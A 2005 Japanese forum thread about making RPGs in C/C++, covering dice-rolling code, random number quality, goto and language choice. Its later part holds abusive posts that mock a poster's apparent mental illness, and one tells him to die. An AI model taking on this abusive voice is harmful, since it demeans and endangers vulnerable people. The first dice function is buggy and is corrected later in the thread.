コーディング自体は短時間で、あとの2つの方がずっと時間を食いました。ご参考までに。
215 :
GreatFixer ◆ASWqyCy.nQ :2005/05/17(火) 09:21:35
なんでいちいちRe:をつけるの?
つけちゃいけないの?
どーしても 3D でやりたいって人は D を Dimension じゃなくて Dice にしてみるのはどーだろう。
三択かよ
3D6でレベルより値が低ければ成功
222 :
デフォルトの名無しさん :2005/05/18(水) 15:24:56
3Dは、数学的なことも多いが、たまに2Dよりも楽に出来ることがある。 音楽とかグラフィックとかはどんなソフト使ってる?
>>218 diceですよ。
#include <stdlib.h>
#include <time.h>
void Randomize(){
srand(time(NULL));
int temp=(rand()%100);
for(int i=0;i<temp;i++){
rand();
}
}
int Dice(int Cicle,int Face,int P){//Cicle=ダイスを降る回数。Face=面の数。P=単純にプラスされる数。
int Total=0;
for(int i=0;i<Cicle;i++){
Total += (rand()%(Face-1))+1;
}
return Total + P;
}
int main(void)
{ Randomize();
for(int i=0;i<100;i++){
std::cout<<Dice(3,6,0)<<std::endl;
}
return 0;
}
224 :
デフォルトの名無しさん :2005/05/18(水) 21:05:52
なにこれ。
うーん。悲しいなぁ…… C++ ソースには書いたんだけどなぁ…… rand のマニュアルを見て欲しいけど、生成する乱数のビットの下位ビットはランダム性が劣るため、 割算の余りを求めるのではなく、上位ビットを使うために生成範囲を求めたい範囲に縮小する サンプルプログラムが書かれているはずです。 あと、先日移植する時に気づいたのですが、乱数といえば random() だと思って調べたら ANSI C++ では cstdlib には rand と srand が定義されているだけでした。 この点を考慮したプログラムは次のようになります(特定の回数だけ乱数列をずらすのは省いてあります) #include <iostream> #include <cstdlib> #include <ctime> int r_gen(int range){ return (int) ((double)range*std::rand()/(RAND_MAX+1.0)); } void Randomize(){ std::srand(std::time(NULL)); } int Dice(int Cicle,int Face,int P){ int Total=0; for(int i=0;i<Cicle;i++){ Total += r_gen(Face)+1; } return Total + P; } int main(void) { Randomize(); for(int i=0;i<100;i++){ std::cout<<Dice(3,6,0)<<std::endl; } return 0; }
行動の度に3d6とか入力して進むのか。
227 :
デフォルトの名無しさん :2005/05/20(金) 06:36:41
毎回で悪いんだけど、Cのコードはどこで実行するの? あと、コンパイラって何?
>>227 > Cのコードはどこで実行するの?
IDEとか
> あと、コンパイラって何?
翻訳ソフト
229 :
デフォルトの名無しさん :2005/05/20(金) 11:39:20
ゲ製作技術板のC/C++RPGスレから誘導されてきますた こっちはソースとバイナリ晒すより雑談メイン? まだイベントの実装をどうするか悩んでるところです コンゴともよろしく
コンゴとはよろしくしたいですね
>>229 一緒にforthスクリプト作らないKA!?
なんてね。
>>225 ほんとはライムチャットのマクロ用なんだけどね。
面倒になって頓挫してるが。
最近、225のような実装を良く見るので何でだろうとおもっていたら、ランダム性を上げるためだったのね。
古の実装しかしらなかったので参考になります。サンキュー。
あと、なんで、あんなRandomaize関数を作ったかというと、
for(int i=0;i<INFINITY;i++){
srand(time());
R=rand();
}
こういうコードを書くと、まー当たり前かもしれないけど、数字が著しく偏るからです。
ま、それはそれとして、勉強になりますた。
ありがとう。
234 :
デフォルトの名無しさん :2005/05/20(金) 18:42:20
乱数はメルセンヌツイスター使えばいいじゃん 種はPIDとftimeから算出して
235 :
デフォルトの名無しさん :2005/05/20(金) 19:29:23
RPGなんてやめてRogue作ろうぜ!
>>234 僕は数式が読めない上に、公式ページは閉鎖済みのようだ。
後の望みはboostのランダムに採用されてる位だな。
ちゃんと探しましたがなにか? 馬鹿な人は何も書かなくていいですから^^
国外に繋がらないようなネット環境の人なのかな? でも日本語のページも腐るほど見つかったし。 ネットワーク回りの設定見直したほうがいいよ。
240 :
デフォルトの名無しさん :2005/05/20(金) 21:08:52
もったいつける意味なんかあるの?
公式って広島大学じゃないの? 作者のページはそうだよね?
英字で検索するのを忘れていた。 今は反省している。
メルセンヌツイスターのソースが見つかったのは良いけど、 マジックナンバーが多くてなにやってるのかわからない。 srandとrand互換のやつ誰か作ってくれんかの〜。
>>244 mt19937ar.cのinit_genrand()がsrand()、genrand_なんたら()ってのがrand()に相当する。
BUG取れneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
247 :
GreatFixer ◆ASWqyCy.nQ :2005/05/21(土) 16:41:08
Re:
>>246 C/C++でのプログラミングはきれいにソースを書いてもバグ取りが困難な場合があるという。
248 :
デフォルトの名無しさん :2005/05/21(土) 18:06:17
RPG大好きだが、作れない
249 :
デフォルトの名無しさん :2005/05/21(土) 18:22:08
RPGって、移動してモンスターと戦ってなんかお宝とるっていうそういう定義とかあるの? モンスターと戦う代わりに好きな彼女に告るっていうのだと 「恋愛シュミレーション」って言われてRPGにならないの?
Role Playing Game Role = 役 Play = 演じる
よし取れた!この瞬間が快感!でも疲れたorz
そんな貴方に つ[ラブクエスト]
253 :
デフォルトの名無しさん :2005/05/21(土) 21:51:47
今から、CでRPG作ってみる。
コンソール上のRPGなら簡単に作れるよ ウィンドウの方もWin32.APIを使えば
258 :
デフォルトの名無しさん :2005/05/22(日) 07:43:44
2000/XPでエスケープシーケンスを使えるようにする方法ない?
俺も昨日からC++といくつかのWindows APIだけでドラクエ3のコピー作ってる。 俺はゲームプログラミングの知識もないから簡単なソースしかかけないけど、別に作れるよな? とりあえず昨日までで、フィールドマップをロードして、勇者がテクテク歩けるくらいのとこまで作った ここっていちいち進展報告してもいいのかな?
261 :
デフォルトの名無しさん :2005/05/22(日) 14:08:44
いいよ!ってかソースや実行ファイルのうpキボンヌ!
ああ、せめて基本的なとこが全部完成して、ソースも綺麗に清書したらうpするよ よし…じゃあ逝ってくるか…
喪前らが作っているのはRPGじゃない。 ドラクエのクローンゲームだ。 wizardryをプレイしてアンドリュー先生の偉大さを勉強汁
RPGって内職みたいでつまらないよね。 単純作業の繰り返しでで数値を上げることに偏執的な喜びを見出すゲームだし。
ゲームなんてほとんどそんなもんだ
あるスレで、その単純作業をどう面白く感じさせるかが 製作者側の力量にかかるとかなんとか言ってたな
自分(プレイヤー)のレベルアップ(を含めた変化全般)を楽しめる要素が 極端に薄いんだよなー、RPGは。 そこいらへんで「所詮単純なデータいじり」という本質が透けてしまうって感じ。
>>264 マジレスすると、単純作業の繰り返しでで数値を上げることに偏執的な喜びを見出すゲームは、
RPGじゃなくて、育成ゲームだ。
もしかして、敵と戦ってレベルが上がるゲームを作ればRPGになると思っているのか?
もっと英語の勉強をしろよw
最近はまともなRPGもいくつかあるよ
272 :
デフォルトの名無しさん :2005/05/22(日) 21:56:48
ドラクエのような超大作を作った夢を見た。 実際にやろうとしたら、C言語がどうゆうものかも分からなかった。
274 :
デフォルトの名無しさん :2005/05/22(日) 23:34:49
>>62-64 のコードってどこが素晴らしいの?
goto使っちゃってるじゃん
276 :
デフォルトの名無しさん :2005/05/22(日) 23:46:50
本物のプログラマはgotoを恐れないのかwwwwww
つまりクソ不便な環境やコードでも平気なのが本物ということか?
gotoをどのように使ってるかが大事であって ただ使ってるから盲目的にだめというやつの話は信用できない
gotoを使うなと(受け売りじゃなくて)本気で言い出す奴は オブジェクト指向信者みたいな一種の制御構造信者なんじゃないかと思う
goto使うなってのは、C言語時代にグローバル関数使いまくり、 ロングジャンプしまくりのソースが大量にあった時の話だろ? 今はほとんどそんなことはない。 それを延々と盲目的に受け継いできた奴らが悪い。
>>274 「攻撃、敵の処理」「逃げる、失敗時の敵の処理」と二つの流れがある時、
敵の処理をどう共通化するか何通りか方法を考えて、その上で goto の価値を
考えてみたら?
何が何でもgotoダメという奴はgotoなしで同等のコードを書いてみろといいたい そうすればどっちが見やすいのか比べられるじゃないか
ループも所詮if+goto
>>274 「gotoを使うのは駄目なプログラム」なんてたわごとどこで習ったんだ?
たぶんBASIC時代かと それも行番号が必ずつくやつ
286 :
デフォルトの名無しさん :2005/05/23(月) 16:31:32
CとC++どっちの方がいい?
C がうまくなるってポインタがばりばり使えるようになることだけど、 C++ がうまくなるってテンプレートをばりばり使えるようになることなのかな? メモリ管理とかどっちが楽なんだろうか?
メモリ管理はC++の方が断然楽だよ Cではポインタを使わざるを得ない文字列やらリストやらはC++標準ライブラリやSTL使えばポインタ使わなくて済むし デストラクタで自動的に開放させればメモリ管理をクラス内にカプセル化できるし ガベージコレクタとまではいかないが自動的にポインタを開放してくれる機構が一応STLやBoostにあるし
そうなのだろうか? Effective Java とか読むと、 Java ですら Stack を POP した時、取り出した値を delete しないとメモリリークが発生するとか書かれているけど、 C++ でそういう 「こんな時はちゃんとデストラクタ呼ぼうね」みたいな個別のお約束っていっぱい ないのかな? C++のメモリ管理って半自動なんじゃないかなぁ……
290 :
デフォルトの名無しさん :2005/05/23(月) 19:40:36
CとC++はどっちのほうが初心者向け? (Cやったこと無い人)
291 :
デフォルトの名無しさん :2005/05/23(月) 19:52:58
どっちも初心者向けではない
>>289 CとC++で比較した場合C++のほうが優れているって話だと思うが。
>>289 > Java ですら Stack を POP した時、取り出した値をdelete しないとメモリリークが発生する
Javaで取り出した値をdelete???
>個別のお約束っていっぱいないのかな?
とりあえずいっぱいあります
でもC言語とどっちがメモリ管理が楽かと聞かれれば間違いなくC++
>C++のメモリ管理って半自動なんじゃないかなぁ……
冷静に考えたらデストラクタで自動的に開放はかなりマズい表現だ・・・orz
デストラクタにメモリ開放のコード書けばあとはdeleteなりスコープから外れるときに自動で開放してくれるってことです
一応スマートポインタというのもあるしね
C++はC言語の95%ほどの実行速度らしい。 でも、ライブラリの充実度とか考えると、C言語なんて使ってられんよ。 オブジェクト指向じゃないと、コンポーネントの使い回ししづらい。
じゃあC++をCに書き換えるプリプロセッサを作れば5%速度アップだね
296 :
デフォルトの名無しさん :2005/05/23(月) 21:40:10
C++でどんなのが出来るの?
>>294-295 単純にクラスを使うくらいならCと全く同じ速度になるはず。
Cより遅い分は例外とかRTTIとか。
298 :
デフォルトの名無しさん :2005/05/23(月) 22:13:27
286 :デフォルトの名無しさん :2005/05/23(月) 16:31:32 CとC++どっちの方がいい? 290 :デフォルトの名無しさん :2005/05/23(月) 19:40:36 CとC++はどっちのほうが初心者向け? 296 :デフォルトの名無しさん :2005/05/23(月) 21:40:10 C++でどんなのが出来るの? この手のアフォくさい質問はスルーすることにしないか? はっきり言ってスレ違い。ヨソでやってホスィ
何とか、やっとこさマトモっぽい移動ができる様になった。
GDI+が無かったら今頃シンデた。
C言語でRPGってムツカシイね。
ソースだけど、見たら「エッ! コレで動くの?」と、
言われるのが必須なので修正するけ。
ttp://www.uplo.net/dl.html ファイル:332, パスワード: rpg
>>260 ガンガレ。
301 :
デフォルトの名無しさん :2005/05/24(火) 01:25:59
ソース無いと何も楽しくねぇ
? GDI+ってC++じゃないとできないんじゃないか?
303 :
GreatFixer ◆ASWqyCy.nQ :2005/05/24(火) 13:53:12
Re:
>>300 ソースがないとこのスレに来る意味がないわけだが。
>>300 C言語ならSDL使えば多少は楽になるんじゃねぇか?
>>301 ,303
ttp://www.uplo.net/dl.html ファイル:338, パスワード: rpg
△ ソース付きぢゃ。
>>301 は楽しくナレ。
>>302 無理矢理GDI+ツカットルから、CとC++の混合ソースにナットル。
ってか、現状のソースだと [画像表示してその上動く] だけで
マップチップ型のRPGにできナイ。
それとも、マップチップ型のRPGを止めて、あえて独自の方法を使うのどっちがイイだろ?
ちなみに今、考えてる新しい、無謀っぽい方法。
1. 画像を読み込む
2. その画像の移動禁止座標を書き込んだファイルを読み込む
3. そのファイルに沿って移動する
4. ついでにイベント座標を書き込んだファイルも読み込んでチェックする
△ 実現できるカナ?
タスケレ。
キャラ単位で座標管理やればできそうな予感。
>>306 つうかマップチップ型でも結局はそんな感じになると思われ・・・
>>308 よく考えたら結局同じだと気づいた始末。
>>307 とりあえずガンガッってみる。
ってか、誰かソースについて突っ込め。
じゃぁ、とりあえず突っ込む。 -- if(bDirect==SCROLL_DOWN) bDirect = SCROLL_DOWN2; else if(bDirect==SCROLL_DOWN2) bDirect = SCROLL_DOWN; else bDirect = SCROLL_DOWN; -- ロジック整理汁。
311 :
GreatFixer ◆ASWqyCy.nQ :2005/05/25(水) 12:50:12
Re:
>>309 私がC/C++のソースではないと思うのは私の経験不足から来るものか?
コテはキモイのが多いな
突っ込みどころが多すぎて…… 取り敢えずいくつか。 ・グローバル変数は避けよう。 #v_pos, h_pos,... ・一塊の属性みたいなものは纏めて構造体にしよう。 #h_charpos, v_charpos, bDirect ・いくらなんでもこれは阿呆過ぎ。 -- //背景のポジションの符号を反転 h_pos = h_pos - (h_pos*2); v_pos = v_pos - (v_pos*2); -- 単純にh_pos = -h_pos;でいいし、コメントつけるまでもない。 ・中括弧のコーディングスタイルは統一しよう。 #ScrollEventFunc.cppなんてもう、ぐちゃぐちゃ ・これも無駄だな。 #MoveWindow(hChild, rc.left, rc.top, rc.right, rc.bottom, TRUE); rcに入れる意味がねぇ。 ・構造体の型をあちこちで定義するな。 #struct GLOBAL
自分では何も産み出さないのに添削だけは立派だな 評論家ですか
317 :
GreatFixer ◆ASWqyCy.nQ :2005/05/25(水) 14:56:32
とりあえず Thumbs.dbはいっしょに入れないで。
過去のバージョンもいらないね。
.objと.pdbと.mapもいらないね
一気に糞スレ化
>>310 ,313
突っ込まれた所を自分なりに直してみた。
次、うpするとき確認よろ。
>>323 うーむ。
自分の書いたコードと比べると恥ずかしくナッタ。
#2. その画像の移動禁止座標を書き込んだファイルを読み込む
#3. そのファイルに沿って移動する
△ 詰まった。どーしよう?
解決策とか思いついたら、言ってくれるとタスカル。(´・ω・`)
>>325 正方形のマスに区切って管理したほうがいい
RPGで1ピクセル単位の移動ができたってうれしくもなんともない
327 :
ベーマガ世代 :2005/05/26(木) 02:09:25
ソースはこのスレにコピペしてホスィ
>>325 簡単な方法ではマップと同様の形式で当たり判定用のレイヤーを
持っておく。んでキャラクタの移動予定地と比較。
329 :
デフォルトの名無しさん :2005/05/26(木) 19:24:51
今日もドラクエのような超大作を作った夢を見た。 実際にやろうとしたら、C言語がどうゆうものかも分からなかった! いい加減むかつーく
330 :
デフォルトの名無しさん :2005/05/26(木) 19:28:01
JABAとCとC++は、どれがやりやすいんすか?
JABAはやめたほうがいいな Javaならいいけど。 JavaだとCに比べたら糞楽だぞ。
>>332 JABAとJavaの違いに今気づいた俺・・・逝ってくる
JABA って結構就職に有利らしいね。これからは JABA なのかなぁ…… 日本人には Java と発音を区別するのが難しいけどね。
>>334 JABAを制する者は世界を制すとまで言われ始めてるのに
なに悠長なこと言ってんのさ。
JABAか JABAKA Jaバカ?
338 :
デフォルトの名無しさん :2005/05/27(金) 12:57:19
お前ら引っ張り杉
339 :
GreatFixer ◆ASWqyCy.nQ :2005/05/27(金) 13:13:52
Re:
>>332 Javaを使った方が楽な場合とCを使った方が楽な場合があるだけのこと。
名科白 「あんた、ばかぁ?!」 が聞きたくなった・・・・ dvd,dvd,
341 :
デフォルトの名無しさん :2005/05/27(金) 21:48:41
C++でPS2ゲームは作れるか。
JavaとC言語は互いに補完しあう関係だ
つか作られてるだろ。
JABAすげぇな、こんなに流行ってるとは知らなかった。
JABA の検索結果のうち 日本語のページ 約 34,800 件中 1 - 20 件目 (0.30 秒)
JavaとC++どっちが多いの?
アルファベットの種類ならJava 記号の種類ならC++
挫折組のヒステリーの多さならC++
350 :
デフォルトの名無しさん :2005/05/28(土) 21:41:07
C++はCより凄そうだが、実際どうなんだろう。 PS2のゲームはCとC++どっちでも作れる?
351 :
デフォルトの名無しさん :2005/05/28(土) 21:43:21
言い忘れたが、C#とは何?(初耳)
>>350 ネタなのかマジなのか判断に苦しむので何も書かないでおきますね
353 :
デフォルトの名無しさん :2005/05/28(土) 21:52:40
>>352 マジっす。今中学で、初めてやってみたいとおもいますた。
CとC++どっちにするか悩むところ・・・・
出来れば資料くだせぃ。。。
つーか苦しんでいても書いて欲しかったところでつ。。。。。、。
ついでに英語覚えたいところでもある。
354 :
デフォルトの名無しさん :2005/05/28(土) 21:57:22
341 :デフォルトの名無しさん :2005/05/27(金) 21:48:41 C++でPS2ゲームは作れるか。 347 :デフォルトの名無しさん :2005/05/28(土) 16:07:13 JavaとC++どっちが多いの? 350 :デフォルトの名無しさん :2005/05/28(土) 21:41:07 C++はCより凄そうだが、実際どうなんだろう。 PS2のゲームはCとC++どっちでも作れる? ・・・もうね、アボカド、バナナかと。いい加減にしてくれ。
>>353 最初のうちはCでもC++でも同じだマジレス。
というかC++はCの仕様を内包してるからな。
でも言語の勉強より設計の勉強のほうをやったほうがいいんではないかと最近思う。
PS2のゲーム作るなんて野望は捨てろ。 パンピーが手を出すもんじゃない。
ゲームショップにある 100円 〜 500円のPS2ソフトをミレ。 その惨憺たる有様を己が目に焼き付けて来い。
XBOX360やPS3やRevolutionが発表されたこの時期にPS2とかワロスw どうせなら少しでも性能の良いXBOXで開発しろよ
360 :
GreatFixer ◆ASWqyCy.nQ :2005/05/28(土) 22:36:36
最近の大企業のゲームは素人では到底成し遂げられない領域まで発達している。 (ゲーム自体の質はまた別の問題だが。)
まぁXBOX360はバグばっかでプロでさえ成し遂げられてないんだけどな・・・
(ノ∀`)
(´-ω-`) シラケー
>>363 えーっと、つまり
>>361 は開発中のハードの開発中のソフトでバグが出る事をハードのせいにするプログラマって事でよろしいか?
で、360でC#は本当に使えるのか?
369 :
デフォルトの名無しさん :2005/05/29(日) 08:06:03
俺、結構笑われているが、なにげ真面目。
>>368 使えないんじゃない?なんかそれ開発用のライブラリ群があるとかないとか
>>350 以前PS2のゲーム開発してる人のインタビュー読んだら、CもC++も使わないらしいよ
なんかアセンブルっぽい開発するらしい。だからCしかできない奴には不可能とかほざいてた
>>370 PS2でC++どころかCも使わないってどれだけ速さが求められるソフトなんだろうw
ロード時間が爆速なのかね?
CやC++の開発環境があるのに「使わない」ってのは凄いが
たとえばファイルから一行ずつ文字列を読み込むなんてーのを書く場合、 C と C++ のどっちがすげーのだろうか? # C とか絶対に使うなとかいう技がマニュアルに書いてあるよね。
375 :
デフォルトの名無しさん :2005/05/29(日) 19:12:46
> なんかアセンブルっぽい開発するらしい。 PS2でかよw プログラマ神だな。
377 :
デフォルトの名無しさん :2005/05/30(月) 18:17:02
PS2ソフトは何言語で作られているのだろうか!!?
378 :
デフォルトの名無しさん :2005/05/30(月) 18:19:08
>>373 速さって言語によって違うんですか。
いいRPGを作るのって、どの言語が一番適していますか?
実際問題、どうせシナリオは簡易言語で書かれている筈だから その簡易言語が何で書かれていても大差ない罠。
381 :
380 :2005/05/30(月) 20:00:14
これ以上は自分で検索してくれ。頼む。
382 :
デフォルトの名無しさん :2005/05/30(月) 21:37:58
RPGってどんな言語だったんですか?
385 :
デフォルトの名無しさん :2005/05/31(火) 00:55:07
386 :
デフォルトの名無しさん :2005/05/31(火) 00:59:51
=== AS/400・RPG言語 技術者募集=== (案件内容) 信託銀行向け、開発・保守対応 (必要スキル) AS/400、RPG経験者 (4,5年以上の開発経験者希望) (作業期間) 8月1日〜長期(1年以上) (単金) ご相談 (場所) 目黒
>>384 "RPG" という言語はあることはあるが、それのことか?
388 :
デフォルトの名無しさん :2005/05/31(火) 17:09:41
☠ฺ名スレの予感ฺ☠ ฺฺ☠ฺ
389 :
デフォルトの名無しさん :2005/05/31(火) 21:35:32
RPGの処理系をつくるスレ?
>>389 違う。C/C++でロールプレイングゲームを作るスレ。
RPGってスゲー言語仕様だな... これの処理系か...
392 :
デフォルトの名無しさん :2005/05/31(火) 22:19:40
>>391 RPGはもともと、オペレーター(汎用エンドユーザーの)が帳票レイアウトを
変更できるように開発された定義体。
393 :
デフォルトの名無しさん :2005/05/31(火) 22:21:19
オフコンオペレータ
394 :
デフォルトの名無しさん :2005/06/01(水) 07:36:41
キチガイでオナニー袋愛好家のGreatFixer ◆ASWqyCy.nQは知識も 無いのに随分と偉そうに書いてるな。 見てて痛いぞw
395 :
GreatFixer ◆ASWqyCy.nQ :2005/06/01(水) 19:16:22
397 :
デフォルトの名無しさん :2005/06/02(木) 08:08:19
Re:キチガイでオナニー袋愛好家のGreatFixer ◆ASWqyCy.nQ さあな、俺はビニール袋オナニー愛好家でもないし、キチガイでもないんで おまえの考えている事はサッパリわからんよ。 ただ、おまえのように表面だけかじっただけの知識で自慢げに騙ったり、 憶測だけだらだら並べたオナニーレスなんかは、俺には真似出来ませんよ。 つーかさ、おまえ他の板でも知ったかで場違いな事色々書いてるけど、 書いてて恥ずかしくないのかよ? キチガイじゃ恥ずかしいなんて感覚は持ち合わせていないか・・・・・
>>397 ゴルァ!藻前!オナホール愛好家が抜けてますよ。
>397 リアルで精神分裂症っぽいから関わらないほうがいい。
401 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 18:07:34
煽りを放置できないコテもついでにどっか逝ってくれ。
404 :
デフォルトの名無しさん :2005/06/02(木) 18:22:55
>>401 工作員?そんなの居ると思ってるの?そりゃマジでキチガイだ。
405 :
デフォルトの名無しさん :2005/06/02(木) 18:24:45
なんか俺めちゃくちゃ馬鹿にされているが、一応初心者スレだから、 こーゆーこと聞いてもいいと思う。 知らなかったやつにもわかるしな。 あと、土曜日に言語の本買いに行くんだけど、何が一番使いやすくて 発展すればRPGを作れるほどの言語って何?
406 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 18:35:27
Re:
>>402 ,404 言っておくが私だけ居なくなっても問題の解決にはならないからな。
407 :
デフォルトの名無しさん :2005/06/02(木) 18:48:56
うん、なるな。
409 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 19:05:52
ためしに一ヶ月間書き込むのやめてみて、 一ヶ月後にまだお前の話題で盛り上がってたら 「お前が居なくなっても問題の解決にならない」ってことで 復帰していいよ。
411 :
デフォルトの名無しさん :2005/06/02(木) 19:16:46
なんか話がズレまくってる。 (´・ω・`)ショボーン
>>405 >初心者スレ
か?ほんとうにそうか?
言語は極論すれば何でもRPG作れるけどスレの通りいくならCかC++。
だが、言語の本とするとC/C++ではグラフィック関連は望めない
(OSに依存することでC/C++では規格化されていないから)。
Javaならそのあたりがばっちり言語仕様に含まれているし、
Window表示や、グラフィック関連を扱っている書籍も多い。
Javaにしろ。Java。
ペゾルドでいいんじゃね? せっかくGDI+使ってる人がいるんだけど載ってるような本が見当たらないし
うむ、>405レベルならJavaがいいだろう。公開する場にも事欠かないしな。 で、工作員とはなんのことだ? また詰まらんコテでも暴れてるのか?
416 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:03:08
>>416 全然摩り替えてないじゃん。
荒らしに反応する奴も荒らし、そんな最低限の空気が読めないなら消えろ
>>416 一日に4回も "工作員" の単語が入ったレスをするなんてキモ杉。
420 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:43:42
>>420 知らないんだから教えられるわけ無いだろ
422 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 20:59:22
Re:
>>421 それじゃあ捜査に協力してくれる人を紹介してくれ。人の脳を読む能力を悪用する奴が誰なのかを調べるから。
>>422 >人の脳を読む能力を悪用する奴
うわ、サイコ野郎みたいな発言。
マヂで精神病なんじゃね〜の?大丈夫か?
>>422 お前が消えれば事は済みそうな気がするが。
>>424 それを確認する手段が提示されたにもかかわらず
無視してるからな、この馬鹿は。
426 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 22:27:41
Re:
>>424 それより、人の脳を読む能力の正体を教えてくれ。さもないとこいつからは消えようが無い。
427 :
GreatFixer ◆ASWqyCy.nQ :2005/06/02(木) 22:28:06
Re:
>>424 いずれにしてもなぜお前が沸いて出るのかはわからない。
荒 ら し に 反 応 す る 奴 も 荒 ら し
>>426-427 とりあえず、相当 錯乱していられるご様子。
>人の脳を読む能力の正体を教えてくれ。
人の脳を読む能力を会得するには、高い所から頭を下に向けて飛び降りること。
できるだけ高いところヂャないと無理だからね。
>さもないとこいつからは消えようが無い。
そこまでトチ狂っちゃう訳を聞こうか。(プ
>いずれにしてもなぜお前が沸いて出るのかはわからない。
いずれにしてもなぜお前が
>>397 に固執するのかわからない。
>>413 405じゃないけど、処理系に依存しないタイプでは
C/C++ & OpenGL って開発難しいのかな?
Javaの方が敷居が低いってことですか?
おまいらなんでSDLを完全スルーするんだ?
言語はどれがいい?とか、ライブラリの組み合わせは? とか言ってる段階の人にSDLやらOpenGLやらを薦めるのは間違い。
>>434 でも、SDLを勧めるのはあながち悪いとは思わない。
たしかに、基本が出来ない(理解してない)とつらいし、挫折するだろうけど、
正直、コンソールだけでは、直に飽きる。
そんな折に、ちょっと背伸びをして見るのは今やってることを再認識すると言う意味でもいいことかと。
>>435 ライブラリを使えるようにするまで頓挫しそうだから
OS依存の方法でとりあえず遊んでみようかってことかと
コンソールだけだと飽きるってのは同意
Win32APIよりSDLのほうが楽っしょ
そういうことを言わずに済むJavaを薦める。
Javaも2DAPIが豊富に取り揃えてある気がするんだが
>>438-439 一応、ココのスレはC/C++がMainだからなぁ。
たしかに、自分もJavaのほうがケータイのアプリとかも作れて面白そうだし
分厚い本を読みながら先が見えなくなりやすいCやC++は勧め難いが、
C/C++を知っておいて悪いと言うわけはなかろう。
とC/C++をフォローしてみる。
そこでRuby+SDL
442 :
GreatFixer ◆ASWqyCy.nQ :2005/06/03(金) 12:40:32
Re:
>>430 それじゃあ人の脳を読む能力を妨害する方法は?向こうも妨害してるんだから無問題だ。
>>442 ああ、書き込む前に読んでねに書かれている”頭のおかしな人”ってのはこんな
香具師を言うのかな。と、思いました、まる
444 :
デフォルトの名無しさん :2005/06/03(金) 13:50:22
>>442 見事に狂ってるな。
人の脳を読む能力ってのはなんだい?超能力かい?
まぁ俺には理解しがたいが。
超脳力
446 :
デフォルトの名無しさん :2005/06/03(金) 17:08:29
CでRPGを作るときって、RPGを作るソフトを作って、そのソフトで RPGを作れって事ですか?
>>446 どちらでも好きな方で。
もちろん「RPGを作るソフト」を作る方が手間がかかる。
449 :
GreatFixer ◆ASWqyCy.nQ :2005/06/03(金) 18:23:25
その根拠は?
おまいらゲ製作板が暇だからってこんなところにいたのか
>>446 大規模なRPGになればなるほど、
自作ツールの必要性に迫られるとオモワレ
小規模なRPGなら、ツール作らなくても
なんとかなるかもね。
初作はツールとかにこだわらず、
思うままにやってみるのがいいのかな。
SaGe4の開発でイベント作成用のツール自作してたね
おまいら、これでも見ておちつけ , -=- -─‐-、 _ ´-─ ¬く  ̄  ̄ミ- 、 ,,,,/ _==-ミァ-─‐-、 \''''''''''''ー--、,,,,,_ _,,,,-''"/ , ‐''" \ \、_,,,ー''ゞ" `ゞ、 -' " / / / | \ ヽ /"` _,,-''''''"""''''' / / / / / || | i ヽ i / ´"''、. i / / / / / / || || |│ |ノス / '、 |// / /___, -一ァ| /! |ト、|│ | | く」/ '、 |,-‐¬ ---┘'7 |! ハ! |,、-┼十|!/\/\ , -‐ ''" し' '´_ /,ィ二l |ト、/!ヽト、\_ヽ!|!l\:.. / ,r/ __ ,イ|リ ヾハ! ヽ! ,ィ⌒ヾミリノ/:::... \ / ||ヽ -' / ̄ )` __ |ヒノ:} '` ,;\/\/ ,r ' ヾ、 ,-、____ , イ ̄,r==- ==-' レ' /| | / ヽ `ーソ ' | |ト、,ヘ ′"" "" / / || | . / \_ / | ハ ヽ`゙'ヘ ' ' / / | | | / / / | ヽ 川\ 0 //! | | | | / / / 八 \川| |`ト- .. __ , イ‐ァヘ | | || |! / / / / \ \ 「`ー- 、 / .〉 ト、| ヽ、 ,イ /-─=¬ニヘ、_ \ 厂\ 厂ヽ /!| | `ー=ヘ -‐  ̄ /─ '  ̄ ├- ヽ\ \ノ\ \ 人 ハ!ヽ || |-┤ ヽ / /!‐-- | |\ ト、_`ヽ oヽ ト、! || |‐┤- ヽ // 〉 __ / ├‐- || | 川-‐ | | 厂7! ハ! ├:┤  ̄ヽ / / ー ─  ̄ ├‐- リ || ハ!ヘ | | ト┤|/′ ヾ,┤ ゙i_ ‐ ' 〉‐- | / /\ .|o | /ヽ/(′ ∨ \
455 :
454 :2005/06/03(金) 20:40:41
話しぶった切ってわるかった。 もとから落ち着いてた人は、続けてください。
456 :
デフォルトの名無しさん :2005/06/03(金) 21:40:54
>>449 現実にある能力?それが何か聞いてるんだけど、理解してるかい?
その能力を使うとどうなるんだい?
ビニール袋オナニーを実践したが擦れて痛いだけであまり気持ちよくなかったとか、
オナホールには興味あるが、女性は邪悪な存在であるとか、意味不明な事ばかり
考えているお前の脳の中など知りたくも無いんだが。
そもそも知識も無いくせにしゃしゃり出て、憶測を現実のように書き、PC関連の板を
次々と荒らして何がしたいんだい?
精神科医の有害薬飲んで死んでくれると嬉しいな、社会不適切者。
うわ・・・どうしようもないガキとか馬鹿とかはしょっちゅう見たことあるが、 マジモンの精神障害者は初めて見た。笑えねえ。
RPGでRPGを作ることは可能でしょうか?
461 :
GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 07:19:46
462 :
456 :2005/06/04(土) 07:59:10
>>461 俺の質問に答えろよ精神異常者!
それが出来ないのならこの世から消えて無くなれ!
そりゃあ、こんなに入れ食い状態なら誰だって続けるわな。
465 :
GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 10:05:33
>>465 へー。大変だねえ。
君はその被害にあったことがあるのかい?
467 :
GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 13:59:51
だからその具体例を提示しろっつーの。
470 :
デフォルトの名無しさん :2005/06/04(土) 14:15:47
GreatFixer ◆ASWqyCy.nQよ、お前のカキコはどう見てもスレ違いだ。 頼むから黙って消えてくれ。お願いだ。
そうやって相手する奴がいる限りは消えないっての。馬鹿だな。
いやいや、とことんまで話を聞いてあげれば 成仏するかもしれんだろ
別のスレでやれ。
474 :
GreatFixer ◆ASWqyCy.nQ :2005/06/04(土) 14:59:31
Re:
>>470 ところで人の脳を読む能力を悪用する奴は黙ってても消えないのだが。どうすればいいのだ?
Re:
